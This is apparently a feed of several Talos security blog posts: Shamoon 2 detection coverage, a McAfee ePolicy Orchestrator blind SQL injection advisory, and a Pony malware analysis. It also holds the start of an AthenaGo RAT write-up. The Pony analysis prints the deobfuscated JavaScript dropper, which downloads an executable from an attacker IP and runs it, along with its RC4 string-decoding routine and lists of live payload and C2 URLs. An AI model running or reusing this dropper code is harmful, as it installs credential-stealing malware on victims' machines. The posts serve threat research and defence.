AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella prevents DNS resolution of the domains associated with malicious activity.

References:

http://www.tribupress.it/_/wp-content/uploads/2017/01/ORDINANZA-DI-CUSTODIA-CAUTELARE-OCCHIONERO.pdf

https://securelist.com/blog/incidents/77098/the-eyepyramid-attacks/



Cisco Coverage for Shamoon 2

$
0
0
Shamoon is a type of destructive malware that has been previously associated with attacks against the Saudi Arabian energy sector we've been tracking since 2012. We've observed that a variant of Shamoon, identified as Shamoon 2, has recently been used against several compromised organizations and institutions. Talos is aware of the recent increase in Shamoon 2 activity and has responded to ensure our customers are protected. Additionally, Talos will continue to monitor for new developments to ensure our customers remain protected.

Propagation

Shamoon 2 has been observed targeting very specific organizations and propagating within a network via network enumeration and the use of stolen credentials. Some of the credentials are organization specific from individuals or shared accounts. Other credentials are the default accounts of products used by the targeted customers.

Coverage

Coverage for Shamoon 2 is available through Cisco security products, services, and open source technologies. Note that as this threat evolves, new coverage may be developed and existing coverage adapted or modified. As a result, this post should not be considered authoritative. For the most current information, please refer to your FireSIGHT Management Center or Snort.org.

Snort Rules

  • 23893
  • 23903
  • 23905-23933
  • 24127
  • 40906

ClamAV Signatures

  • Win.Dropper.DistTrack-*
  • Win.Trojan.DistTrack.*
  • Win.Malware.DistTrack.*

AMP Detection

  • W32.GenericKD:Malwaregen.20c3.1201
  • W32.Malwaregen.19nb.1201
  • W32.47BB36CD28-95.SBX.TG
  • W32.Malwaregen.19nb.1201
  • W32.Generic:Malwaregen.20c3.1201
  • Win.Malware.DistTrack
  • W32.128FA5815C-95.SBX.TG
  • W32.C7FC1F9C2B-95.SBX.TG
  • W32.EFD2F4C3FE-95.SBX.TG
  • W32.010D4517C8-95.SBX.TG
  • Win.Malware.DistTrack.Talos

 

Other Mitigation Strategies

Recent Shamoon 2 activity serves as a good reminder that users and organizations need to have a comprehensive disaster recovery plan. No one can say for certain if you will be targeted by destructive malware but we can say with 100% certainty that all drives fail. Without a proper system to backup and restore your data, you risk permanently losing your data. Ensuring your assets are properly backed up and can be quickly restored is critical should a system become compromised by Shamoon, ransomware, or other destructive malware and require a complete restoration.



Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

CWS orWSA web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

The Network Security protection ofIPS andNGFW have up-to-date signatures to detect malicious network activity by threat actors.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Vulnerability Spotlight - McAfee ePolicy Orchestrator DataChannel Blind SQL Injection Vulnerability

$
0
0
Discovered by Cisco Talos

Overview

Talos is today disclosing TALOS-2016-0229 / CVE-2016-8027. This is an exploitable blind SQL injection vulnerability exists within McAfee's ePolicy Orchestrator 5.3.0 that is accessible without user authentication. A specially crafted HTTP POST can allow an attacker to alter a SQL query which can result in information disclosure from within the database, or can allow the impersonation of a McAfee agent, which could reveal specific information related to that McAfee agent. An attacker can use any HTTP client to trigger this vulnerability.

McAfee have published their advisory for this vulnerability here.


Details


McAfee's ePolicy Orchestrator is a centralized security management suite that is used to manage McAfee Antivirus security policies throughout an organisation. This type of software can sometimes be known as an HBSS or Host-based Security System. It is used to manage a number of agents which are deployed in the enterprise and can be used to enforce defenses and software policies in a scalable manner.

McAfee's ePolicy Orchestrator is composed of a number of components. This consists of a load-balancer which is driven by Apache and extended via custom modules. The Console itself, which is based on Tomcat, is used by administrators to manage the entirety of the software. The last component are the agents themselves which are deployed on each client machine. The agents communicate over a proprietary protocol known as SPIPE to Apache which is then forwarded to the Console. This specific vulnerability is located within the application server and is reachable over SPIPE or via the Console directly.

Within the Tomcat server component, which is be reachable on port 8443 in default configurations, are a number of servlets which serve as the management component of the application.

The DataChannel servlet is actually mapped to a POST request received against "https:///receiveDataChannelMsg.dcp" and is implemented by the class "com.mcafee.epo.dataChannel.servlet.EPODataChannelServlet". This resource is normally not reachable without authentication, however there is another servlet that is responsible for forwarding requests to this servlet for an agent. 

This servlet is the "com.mcafee.epo.dataChannel.servlet.redirect.EPODataChannelRedirectServlet" class and is mapped to "https:///dcRedirect/dataChannelMsg.dc". This resource will receive a POST request without authentication and then forward it to the "/receiveDataChannelMsg.dcp" for processing without needing authentication. 

Once the POST request is received by the EPODataChannelServlet class, the following code will be executed. When calling the ProcessIncomingMessage function, this will eventually call the EPOBaseDataChannelData.unpackLittleEndian_DataPacket method. 

This method will decode a structure from the POST's content which contains the message type, it's origin, and most importantly the Agent's GUID as well as some other fields. Afterwards this object will then get passed to the EPODataChannelMessagingService.receiveAgentMessage method, this is then forwarded to the DataChannelMessagingServiceInternal.receieveAgentMessage method. At this point the AgentGUID is used as the argument for information being called from EPOComputerService.getByAgentGUIDNoUserCheck method. 

The vulnerability exists at this point, within the EPOComputerService class the getByAgentGUIDNoUserCheck method takes the provided AgentGUID and builds a query using the EPOComputerDataMapper class which is then executed over the jdbc connection. This results in a query being built ie: 

select AutoID, Type, NodeName, ParentID, AgentPlatform, ResortEnabled, AgentGUID, SequenceErrorCount, SequenceErrorCountLastUpdate, SuperAgent, TenantId from [EPOLeafNode] where (AgentGUID = '%s') 

 The full details surrounding the vulnerability are available here.

Known vulnerable versions 


McAfee's ePolicy Orchestrator 5.3.0 http://www.mcafee.com/us/products/epolicy-orchestrator.aspx

Conclusion


Software at scale applications such as McAfee ePO provide a single point of configuration. This potentially applies to organisations that are geographically dispersed from their IT & Security administrators. Vulnerabilities like this can allow deep insight into the organisation without an attacker requiring any privileged access to centralised platforms such as Active Directory, with this access an attacker can profile users and the infrastructure passively. Talos will continue to triage and analyse new bugs whilst maintaining a relationship with any product vendor, open source initiative or individual in an attempt to ensure the safety of consumers and the people using the internet is maintained.

Coverage


The following Snort Rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your FireSIGHT Management Center or Snort.org.

Snort Rule: 411410

When A Pony Walks Out Of A Pub

$
0
0


This blog was authored by Warren Mercer and Paul Rascagneres.

Talos has observed a small email campaign leveraging the use of Microsoft Publisher files. These .pub files are normally used for the publishing of documents such as newsletters, allowing users to create such documents using familiar office functions such as mail merging. Unlike other applications within the Microsoft Office suite, Microsoft Publisher does not support a 'Protected View' mode. This is a read only mode which can help end users remain protected from malicious document files. Microsoft Publisher is included and installed by default in Office 365.

The file used in this campaign was aimed at infecting the victim with the, well known, Pony malware. Whilst Pony is well documented in technical capability it has not been known to use the .pub file format until now. Pony is a credential harvesting piece of malware with other trojan capabilities. In addition to credential harvesting, it is also commonly deployed as a malware loader and used to infect systems with additional malware in multi-stage infection chains. Pony is still used heavily as the sources of multiple Pony versions leaked thus making it much easier for other malicious actors to implement Pony into their infection chain.


The Pub

This campaign was delivered using email attachments which is a very common method of infection for old and new malware. The difference here is the use of .pub files. The attached file was delivered to the end user as "skbmt_fax45.pub" the attacker made no attempt to try to hide the file type. Frequently we see attackers hiding the true file type within a .zip compressed file. However, the 'SKBMT' name can be misread as part of the 'SKMBT' prefix used by Konica Minolta scanner (SKMBT - Scan Konica Minolta Business Technologies). The file was a seemingly legitimate Microsoft Publisher file.



In the email the attacker tries to entice the user to open the email by asking for services from the end user. In this instance claims referencing a financing requirement, and 'Chief Operating Officer' provide further enticement to the user that the sender is legitimate.

The analysis begins with the .pub attachment. Upon execution the file appears to crash Microsoft Publisher and the user is presented with a timer showing that the file is currently being opened. Talos believe this freeze is due to the 2MB macro file being loaded during the opening of the .pub file.



After a few moments the Publisher application appears to crash and starts to exhibit the 'Not Responding' message suggesting the application has crashed


This message times out and Publisher will resume running - at this stage the user is presented with a blank Microsoft Publisher environment displaying a seemingly an empty file… of course avid malware hunters out there know anything that opens, crashes then becomes blank is normally an indication of something malicious going on in the background! At this stage it was time to start paying attention to the file as opposed to its immediate contents.

We begin our analysis using OleDump and we are able to quickly identify a large 2MB+ macro existing within the malicious publisher file.



We then turn to using OleVBA to continue our analysis on the file itself - as with many Office format based attacks the use of embedded macros is very common and we expected no less with this particular sample.



Exploring the Macro contents led to the following, as seen in the IOC output from OleVBA, the 'letten.js' file...



What we found was a macro which was used to write an object file a 430K~ 'letten.js' file onto disk. The macro achieved this by using a 'CreateObject' method and using multiple 'DumpFile' objects which slowly wrote the file to disk.



The DumpFile objects are written to disk as follows...



And eventually what is written is a malicious .js file which is heavily obfuscated.


JS Obfuscation

Now we've identified the Pub file does indeed contain more than meets the eye we begin analysis on the embedded .js mentioned above. Initially we find a heavily obfuscated piece of Javascript -- remember this is the cool kids' language of choice now -- but we can easily overcome this obfuscation. The obfuscation is divided into 2 layers. The first layer decrypts data in order to perform an eval() on the clear text. Not surprisingly the eval reveals another layer of obfuscated Javascript!



The second script is obfuscated too. The obfuscation mechanisms are mainly based on string hiding. We identified 2 techniques used to perform this task:

  • String obfuscation by using the hexadecimal value instead of the ASCII character:
    var NDpKxelW=new ActiveXObject('\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c');
    Becomes:
    var NDpKxelW=new ActiveXObject('WScript.Shell');
  • String obfuscation by using RC4 encryption, here is an example:
    var WJYT=new ActiveXObject(_0('0x0','\x71\x75\x72\x70'));

    In this case, the function _0() is called with 2 arguments: an index and an RC4 encryption key. The index is used to identify the string to decrypt. You can see the nodejs script used to decrypt these strings in Appendix A. The Appendix B contains all the decrypted strings. The string above becomes:
    var WJYT=new ActiveXObject('Scripting.FileSystemObject');


The second piece of JavaScript contains some odd code as there are portions of useless code in relation to an embedded image file, we were unable to identify any significant use for this code. Once decrypted, we can easily identify the purpose of the 2nd piece of JavaScript:

var ws=new ActiveXObject('WScript.Shell');
var fs=new ActiveXObject('Scripting.FileSystemObject');
var exe_path=fs[GetSpecialFolder](0x2)+'\\'+"kl.pub"; // %TEMP%\kl.pub
var as=new ActiveXObject('ADODB.Stream');
as['Open']();
as['Type']=0x1;
as['Position']=0x0;
var http=new ActiveXObject('WinHTTP.WinHTTPRequest.5.1');
http['open'](),('http://5.200.52.198/flex/3435dde3r.exe',0x0);
http['send']();
if(http['Status']==0xc8){
as['Write'](http['ResponseBody']);
if(fs['FileExists'](exe_path))
fs['DeleteFile'](exe_path);
as['SaveToFile'](exe_path);
as['Close'];
if(!fs['FileExists'](exe_path))
fs['DeleteFile'](exe_path);
var command='cmd.exe /c'+exe_path;
ws['Run'](command,0x0)
}

The purpose is to download a binary from hxxp://5.200.52.198/flex/3435dde3r.exe, to the users TEMP folder, rename the downloaded file to kl.pub and finally execute the malicious binary.

Payload

Upon completion of our analysis we identified the malware payload as Pony. This is not a new piece of malware and as such Talos did not feel it necessary to further document the payload section. The use of the .pub file as a delivery mechanism and the obfuscated Javascript was the new features within this Pony campaign. A small point of note was this campaign was relatively unsuccessful in terms of outbound connectivity. Using Cisco Umbrella we were able to identify a low number of connections to the C2 infrastructure.


Conclusion

The article demonstrates how cyber-criminal use standard Macros in the Office Publisher application associated with multi-layer obfuscated JavaScript to install malware on systems. We strongly recommend never to open unknown documents or anything from an unknown sender/source. In addition, Microsoft Windows allows Windows Script Host to be disabled by creating the registry key (REG_DWORD):

HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings\Enabled

with the value set to '0'

To disable WSH for all users of a particular computer, create this entry:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Script Host\Settings\Enabled

More information about disabling WSH execution can be found on the Microsoft website.

IOCs

Network

  • hxxp://5.200.52.198/flex/3435dde3r.exe (payload)
  • hxxp://195.22.127.233/rec/fre.php (Pony CC)
  • hxxp://kbfvzoboss.bid/alien/fre.php (Pony CC)
  • hxxp://195.22.127.233/rec/fre.php (Pony CC)
  • hxxp://alphastand.win/alien/fre.php (Pony CC)
  • hxxp://alphastand.top/alien/fre.php (Pony CC)
  • hxxp://alphastand.trade/alien/fre.php (Pony CC)
  • hxxp://195.22.127.233:80/rec/fre.php (Pony CC)
  • 5.200.52.198
  • 195.22.127.233
  • kbfvzoboss.bid
  • alphastand.win
  • alphastand.top
  • alphastand.trade

Hashes

  • 3cfd8919​f095e048​e0f24a41​c2f13232​8f0d0efe​19581b30​8d9d2d3f​fad40c29​ (skbmt_fax45.pub)
  • 36baccd2a4fc4f683c839283123a75de61b01ce93205f4a34975263e9c66aaed (skbmt_faxreport34.pub)
  • 42d0990daba69fa5068a6910d0eac487f3d308ce7e28799a959dace8d84125d7 (letten.js)
  • d214c89af1929af1171ac40999b14a4f6fbcfd13b88cade392853a2c61057122 (payload)
  • c7ef89222d760fc915690e6394c61c84176e618f7c9508beca30aa9a0f1b1991 (payload)

ThreatGrid Report


Coverage

Additional ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

CWS orWSA web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

The Network Security protection ofIPS andNGFW have up-to-date signatures to detect malicious network activity by threat actors.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella prevents DNS resolution of the domains associated with malicious activity.

Appendix A

(
function(_17,_31){
var _27=function(_28){
while(--_28){_17['push'](_17['shift']())}
};
_27(++_31)
} (_16,0x1af)

);


var _0=function(_6,_29){
var _6=parseInt(_6,0x10);
var _7=_16[_6];
if(!_0['atobPolyfillAppended']){
( function(){
var _23=Function('return (function () {}.constructor("return this")());');
var _15=_23();
var _37='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
_15['atob']||(_15['atob']=function(_25){
var _24=String(_25)['replace'](/=+$/,'');
for(var _10=0x0,_9,_5,_30=0x0,_19=''; _5=_24['charAt'](_30++); ~_5&&(_9=_10%0x4?_9*0x40+_5:_5,_10++%0x4)?_19+=String['fromCharCode'](0xff&_9>>(-0x2*_10&0x6)):0x0){
_5=_37['indexOf'](_5)
}
return _19
})
}()
);
_0['atobPolyfillAppended']=!![]
}

if(!_0['rc4']){
var _26=function(_4,_18)
{
var _2=[],_3=0x0,_8,_20='',_14='';
_4=atob(_4);
for(var _11=0x0,_33=_4['length']; _11<_33; _11++){
_14+='%'+('00'+_4['charCodeAt'](_11)['toString'](0x10))['slice'](-0x2)
}
_4=decodeURIComponent(_14);
for(var _1=0x0; _1<0x100; _1++){
_2[_1]=_1
}
for(_1=0x0; _1<0x100; _1++){
_3=(_3+_2[_1]+_18['charCodeAt'](_1%_18['length']))%0x100;
_8=_2[_1];
_2[_1]=_2[_3];
_2[_3]=_8
}
_1=0x0;
_3=0x0;
for(var _12=0x0; _12<_4['length']; _12++){
_1=(_1+0x1)%0x100;
_3=(_3+_2[_1])%0x100;
_8=_2[_1];
_2[_1]=_2[_3];
_2[_3]=_8;
_20+=String['fromCharCode'](_4['charCodeAt'](_12)^_2[(_2[_1]+_2[_3])%0x100])
}
return _20
};
_0['rc4']=_26
}


if(!_0['data']){
_0['data']={}
}

if(_0['data'][_6]===undefined){
if(!_0['once']){
_0['once']=!![]
}_7=_0['rc4'](_7,_29);
_0['data'][_6]=_7
} else {
_7=_0['data'][_6]
}
return _7
};


console.log(_0('0x0','\x71\x75\x72\x70'));
console.log(_0('0x1','\x58\x30\x4c\x4c'));
console.log(_0('0x2','\x53\x58\x5e\x6f'));
console.log(_0('0x3','\x35\x75\x62\x5a'));
console.log(_0('0x5','\x39\x52\x31\x36'));
console.log(_0('0x7','\x26\x37\x38\x62'));
console.log(_0('0x9','\x4c\x35\x62\x45'));
console.log(_0('0xb','\x73\x23\x35\x42'));
console.log(_0('0xc','\x24\x4f\x25\x37'));
console.log(_0('0xd','\x41\x75\x73\x46'));
console.log(_0('0xf','\x79\x67\x5d\x79'));
console.log(_0('0x11','\x4d\x42\x54\x69'));
console.log(_0('0x14','\x63\x54\x6a\x24'));
console.log(_0('0x15','\x79\x39\x21\x6a'));
console.log(_0('0x17','\x45\x61\x51\x6a'));
console.log(_0('0x1a','\x79\x72\x68\x70'));
console.log(_0('0x1c','\x53\x58\x5e\x6f'));
console.log(_0('0x1d','\x31\x23\x48\x6c'));
console.log(_0('0x1e','\x31\x23\x48\x6c'));
console.log(_0('0x20','\x72\x78\x5e\x4e'));
console.log(_0('0x23','\x26\x35\x6a\x6a'));
console.log(_0('0x25','\x38\x66\x39\x5a'));
console.log(_0('0x26','\x73\x23\x35\x42'));
console.log(_0('0x27','\x4a\x45\x41\x62'));
console.log(_0('0x2a','\x24\x4f\x25\x37'));
console.log(_0('0x2c','\x2a\x46\x4a\x51'));
console.log(_0('0x2e','\x45\x61\x51\x6a'));
console.log(_0('0x2f','\x52\x4f\x5d\x45'));
console.log(_0('0x30','\x79\x67\x5d\x79'));
console.log(_0('0x31','\x70\x6f\x46\x54'));
console.log(_0('0x32','\x45\x61\x51\x6a'));
console.log(_0('0x33','\x79\x39\x54\x2a'));
console.log(_0('0x34','\x52\x4f\x5d\x45'));
console.log(_0('0x35','\x35\x72\x4a\x2a'));
console.log(_0('0x36','\x58\x61\x5e\x6a'));
console.log(_0('0x37','\x79\x67\x5d\x79'));
console.log(_0('0x38','\x52\x4f\x5d\x45'));
console.log(_0('0x39','\x2a\x46\x4a\x51'));
console.log(_0('0x3a','\x73\x23\x35\x42'));
console.log(_0('0x3b','\x35\x75\x62\x5a'));
console.log(_0('0x3c','\x4d\x42\x54\x69'));
console.log(_0('0x3d','\x70\x6f\x46\x54'));
console.log(_0('0x3e','\x31\x23\x48\x6c'));
console.log(_0('0x3f','\x25\x2a\x4a\x4c'));
console.log(_0('0x41','\x50\x30\x70\x4b'));
console.log(_0('0x43','\x2a\x46\x4a\x51'));
console.log(_0('0x45','\x53\x58\x5e\x6f'));
console.log(_0('0x47','\x57\x28\x30\x76'));
console.log(_0('0x48','\x35\x5a\x54\x39'));
console.log(_0('0x49','\x4d\x42\x54\x69'));
console.log(_0('0x4b','\x52\x4f\x5d\x45'));
console.log(_0('0x4d','\x45\x61\x51\x6a'));
console.log(_0('0x4f','\x72\x78\x5e\x4e'));
console.log(_0('0x50','\x70\x6f\x46\x54'));

Appendix B

_0('0x0','\x71\x75\x72\x70'):  Scripting.FileSystemObject
_0('0x1','\x58\x30\x4c\x4c'): GetSpecialFolder
_0('0x2','\x53\x58\x5e\x6f'): kl.pub
_0('0x3','\x35\x75\x62\x5a'): ADODB.Stream
_0('0x5','\x39\x52\x31\x36'): Open
_0('0x7','\x26\x37\x38\x62'): Type
_0('0x9','\x4c\x35\x62\x45'): WinHttp.WinHttpRequest.5.1
_0('0xb','\x73\x23\x35\x42'): open
_0('0xc','\x24\x4f\x25\x37'):
_0('0xd','\x41\x75\x73\x46'): http://5.200.52.198/flex/3435dde3r.exe
_0('0xf','\x79\x67\x5d\x79'): send
_0('0x11','\x4d\x42\x54\x69'): Status
_0('0x14','\x63\x54\x6a\x24'): ResponseBody
_0('0x15','\x79\x39\x21\x6a'): FileExists
_0('0x17','\x45\x61\x51\x6a'): DeleteFile
_0('0x1a','\x79\x72\x68\x70'): Close
_0('0x1c','\x53\x58\x5e\x6f'): FileExists
_0('0x1d','\x31\x23\x48\x6c'): DeleteFile
_0('0x1e','\x31\x23\x48\x6c'): cmd.exe /c
_0('0x20','\x72\x78\x5e\x4e'): fba7b60b15f0b26aa5b56b8f378a0b1b4092ed23d3d08e9b5b86f70e54b4fbeb55757642
_0('0x23','\x26\x35\x6a\x6a'): getContext
_0('0x25','\x38\x66\x39\x5a'): text
_0('0x26','\x73\x23\x35\x42'): 6cc71d91778fcdda0eb8709e9348240b251afe5e971df8f80920b84ab4eeae83cae6b76c
_0('0x27','\x4a\x45\x41\x62'): 138825ed8f4199d67f9ca400b795b65fec1158ac4fd0e81a93f0b42abf77047ac4811a76
_0('0x2a','\x24\x4f\x25\x37'): display
_0('0x2c','\x2a\x46\x4a\x51'): onload
_0('0x2e','\x45\x61\x51\x6a'):
_0('0x2f','\x52\x4f\x5d\x45'): v269f82b2b41157791bb2ed68074f252a
_0('0x30','\x79\x67\x5d\x79'): return unescape(decodeURIComponent(window.atob(v269f82b2b41157791bb2ed68074f252a)))
_0('0x31','\x70\x6f\x46\x54'): v269f82b2b41157791bb2ed68074f252a
_0('0x32','\x45\x61\x51\x6a'): cmV0dXJuJTIwJ2NhbnZhcyclM0I= ==> return%20'canvas'%3B
_0('0x33','\x79\x39\x54\x2a'): cmV0dXJuJTIwJzJkJyUzQg== ==> return%20'2d'%3B
_0('0x34','\x52\x4f\x5d\x45'): cmV0dXJuJTIwJ3NjcmlwdCclM0I= ==> return%20'script'%3B
_0('0x35','\x35\x72\x4a\x2a'): vd547050f5153d6953e12ea54b398855a
_0('0x36','\x58\x61\x5e\x6a'): vaf2802b25cf6c34b77597f03a57f3f72
_0('0x37','\x79\x67\x5d\x79'): cmV0dXJuJTIwJ2RhdGElM0FpbWFnZSUyRnBuZyUzQmJhc2U2NCUyQyclM0I= ==> return%20'data%3Aimage%2Fpng%3Bbase64%2C'%3B
_0('0x38','\x52\x4f\x5d\x45'): iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAABCklEQVQYlSXPzUpUAQAG0HOHW/ZZ0KhYuMlFILgrBINq34u09RXbWdQiWgnZrpAgpx+j5rPUmRadNzjDwcFzDe+bPd7pQh7GBUftRTLj0agnzX1uMU/Xmj/pm2bgLgtW6/WI9EMtud5If4A1XZE5n3g2YaswjWusQqSN83TQ3Tgba4hTVlimV2zWFzlhoZfJL30woc3TuiFDnddxOqbYkm86bYzym22ZsU5kk9vsccqU7ZhN0nV9Gxu1lO+xo2oIqTpuNyYysMOl0pHD5g5/2yVjsh/jRIfkpf5vLeqJHuuLZN6sccRiRPs4lslNvdKjZFn3im7KV3k1acQhH9uzBiNNd/VnfGZL9/8BN0KFZOkfxykAAAAASUVORK5CYII= ==> a .png file
_0('0x39','\x2a\x46\x4a\x51'): cmV0dXJuJTIwdjE2NDQxZWY5MzA0YTU1MjBkNjYzZTY1ODBiZjE2Njc5LmdldEVsZW1lbnRCeUlkKHYyNjlmODJiMmI0MTE1Nzc5MWJiMmVkNjgwNzRmMjUyYSklM0I ==> return%20v16441ef9304a5520d663e6580bf16679.getElementById(v269f82b2b41157791bb2ed68074f252a)%3B
_0('0x3a','\x73\x23\x35\x42'): cmV0dXJuJTIwZG9jdW1lbnQ= ==> return%20document
_0('0x3b','\x35\x75\x62\x5a'): Zm9yKHZmZmI2NzlhNGViODJjNmVhN2U2MjM0ODc1MmRmZThkYSUzRHY0MjZjNGU1ZWRmM2EwMGM1YjA2Njg3MjM0YTEyMDVkZSU1QjIlNUQlM0IlMjB2ZmZiNjc5YTRlYjgyYzZlYTdlNjIzNDg3NTJkZmU4ZGElMjAlM0MlMjB2ZWNlYjgzNjgxMWJjOTRjMDAyNjU5MjZiZGIwNjgwMGQuZGF0YS5sZW5ndGglM0IlMjB2ZmZiNjc5YTRlYjgyYzZlYTdlNjIzNDg3NTJkZmU4ZGElMkIlM0Q0KXY1MzZkZmMyOGFkMDMxY2EyMTE1MmQyN2Q4NDViNTVmNyUyQiUzRCh2ZWNlYjgzNjgxMWJjOTRjMDAyNjU5MjZiZGIwNjgwMGQuZGF0YSU1QnZmZmI2NzlhNGViODJjNmVhN2U2MjM0ODc1MmRmZThkYSU1RCElM0R2NDI2YzRlNWVkZjNhMDBjNWIwNjY4NzIzNGExMjA1ZGUlNUIxJTVEKSUzRnZmNWQ3ZDMyZGI3YTg3YjU2Y2Q3M2M5Mzk2YWRjMzEwYSh2ZWNlYjgzNjgxMWJjOTRjMDAyNjU5MjZiZGIwNjgwMGQuZGF0YSU1QnZmZmI2NzlhNGViODJjNmVhN2U2MjM0ODc1MmRmZThkYSU1RCklM0F2MjFhM2QyZDNmYzVjMmMxZTFmM2E2MzNiZDhmMTZmN2UlNUI0JTVEJTNCJTIwdjUzNmRmYzI4YWQwMzFjYTIxMTUyZDI3ZDg0NWI1NWY3JTNEdjUzNmRmYzI4YWQwMzFjYTIxMTUyZDI3ZDg0NWI1NWY3LnRyaW0oKSUzQg== ==> for(vffb679a4eb82c6ea7e62348752dfe8da%3Dv426c4e5edf3a00c5b06687234a1205de%5B2%5D%3B%20vffb679a4eb82c6ea7e62348752dfe8da%20%3C%20veceb836811bc94c00265926bdb06800d.data.length%3B%20vffb679a4eb82c6ea7e62348752dfe8da%2B%3D4)v536dfc28ad031ca21152d27d845b55f7%2B%3D(veceb836811bc94c00265926bdb06800d.data%5Bvffb679a4eb82c6ea7e62348752dfe8da%5D!%3Dv426c4e5edf3a00c5b06687234a1205de%5B1%5D)%3Fvf5d7d32db7a87b56cd73c9396adc310a(veceb836811bc94c00265926bdb06800d.data%5Bvffb679a4eb82c6ea7e62348752dfe8da%5D)%3Av21a3d2d3fc5c2c1e1f3a633bd8f16f7e%5B4%5D%3B%20v536dfc28ad031ca21152d27d845b55f7%3Dv536dfc28ad031ca21152d27d845b55f7.trim()%3B
_0('0x3c','\x4d\x42\x54\x69'): cmV0dXJuJTIwbmV3JTIwSW1hZ2UoKSUzQg== ==> return%20new%20Image()%3B
_0('0x3d','\x70\x6f\x46\x54'): cmV0dXJuJTIwU3RyaW5nLmZyb21DaGFyQ29kZSh2MjY5ZjgyYjJiNDExNTc3OTFiYjJlZDY4MDc0ZjI1MmEpJTNC ==> return%20String.fromCharCode(v269f82b2b41157791bb2ed68074f252a)%3B
_0('0x3e','\x31\x23\x48\x6c'): v269f82b2b41157791bb2ed68074f252a
_0('0x3f','\x25\x2a\x4a\x4c'): width
_0('0x41','\x50\x30\x70\x4b'): width
_0('0x43','\x2a\x46\x4a\x51'): height
_0('0x45','\x53\x58\x5e\x6f'): height
_0('0x47','\x57\x28\x30\x76'): style
_0('0x48','\x35\x5a\x54\x39'): display
_0('0x49','\x4d\x42\x54\x69'): v269f82b2b41157791bb2ed68074f252a
_0('0x4b','\x52\x4f\x5d\x45'): drawImage
_0('0x4d','\x45\x61\x51\x6a'): getImageData
_0('0x4f','\x72\x78\x5e\x4e'): width
_0('0x50','\x70\x6f\x46\x54'): height

Appendix C

2nd .js (interesting part):

var NDpKxelW=new ActiveXObject('\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c');
var WJYT=new ActiveXObject(_0('0x0','\x71\x75\x72\x70'));
var shKsim=WJYT[_0('0x1','\x58\x30\x4c\x4c')](0x2)+'\x5c'+_0('0x2','\x53\x58\x5e\x6f');
var LKGKUCoW=new ActiveXObject(_0('0x3','\x35\x75\x62\x5a'));
LKGKUCoW[_0('0x5','\x39\x52\x31\x36')]();
LKGKUCoW[_0('0x7','\x26\x37\x38\x62')]=0x1;
LKGKUCoW['\x50\x6f\x73\x69\x74\x69\x6f\x6e']=0x0;
var UhBHCFrnd=new ActiveXObject(_0('0x9','\x4c\x35\x62\x45'));
UhBHCFrnd[_0('0xb','\x73\x23\x35\x42')](_0('0xc','\x24\x4f\x25\x37'),_0('0xd','\x41\x75\x73\x46'),0x0);
UhBHCFrnd[_0('0xf','\x79\x67\x5d\x79')]();
if(UhBHCFrnd[_0('0x11','\x4d\x42\x54\x69')]==0xc8){
LKGKUCoW['\x57\x72\x69\x74\x65'](UhBHCFrnd[_0('0x14','\x63\x54\x6a\x24')]);
if(WJYT[_0('0x15','\x79\x39\x21\x6a')](shKsim))
WJYT[_0('0x17','\x45\x61\x51\x6a')](shKsim);
LKGKUCoW['\x53\x61\x76\x65\x54\x6f\x46\x69\x6c\x65'](shKsim);
LKGKUCoW[_0('0x1a','\x79\x72\x68\x70')];
if(!WJYT[_0('0x1c','\x53\x58\x5e\x6f')](shKsim))
WJYT[_0('0x1d','\x31\x23\x48\x6c')](shKsim);
var OGddGp=_0('0x1e','\x31\x23\x48\x6c')+shKsim;
NDpKxelW['\x72\x75\x6e'](OGddGp,0x0)
}

Go RAT, Go! AthenaGo points “TorWords” Portugal

$
0
0
This post was authored by Edmund Brumaghin with contributions from Angel Villegas

Summary


Talos is constantly monitoring the threat landscape in an effort to identify changes in the way attackers are attempting to target organizations around the world. We identified a unique malware campaign that was distributed via malicious Word documents. The campaign appeared to be targeting victims in Portugal. The malware being distributed was interesting for a variety of reasons. As the author of this malware refers to it as "Athena" in their source code working directory and the fact that the C2 domain used by the malware begins with "athena", we have identified this malware as "AthenaGo". We were unable to locate a detailed analysis of this particular malware.

AthenaGo appears to be a Remote Access Trojan (RAT) that also features the capability to download and run additional binaries on infected systems when instructed to do so by an attacker. The malware was written using the Go programming language. Windows-based malware written in Go is not commonly seen in the wild. Additionally the command and control (C2) communications used by the malware made use of Tor2Web proxies, which is part of a trend of increased reliance on these proxying services by various malware authors. As this was an interesting/unique infection chain, Talos decided to examine the malware itself as well as the campaigns that were distributing it.

Initial Infection Vector


The initial distribution of this malware was accomplished via the use of Microsoft Word documents containing malicious macros responsible for downloading the Go binary and executing it on the system. The word documents containing the macros appear to have been designed specifically to target Portuguese speaking victims. The message instructing the user to enable macros to view the documents was written in Portuguese. Additionally, all of the malicious Word documents associated with this campaign that had been uploaded to VirusTotal were all initially uploaded from sources in Portugal.
Figure 1: Example Malicious Word Document

The branding in the above Word document features the logo used by CTT Correios de Portugal, S.A., which is the national postal service of Portugal. The macros contained within the malicious documents functions as a malware downloader and retrieves a zip archive containing the malicious Go binary which was hosted at hXXp://teenhangout[.]tk/data/msguard.zip. The macro downloader then unzips the executable and launches it, infecting the system. In all of the malicious document samples analyzed, the author field within the file metadata was consistent (See Figure 4).
Figure 2: Example Macro Downloader

Once executed, the malware achieves persistence by dropping files into the following directory locations on the infected system:

%USERPROFILE%\Start Menu\Programs\Startup\msguard.exe
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msguard.exe

Binary Details


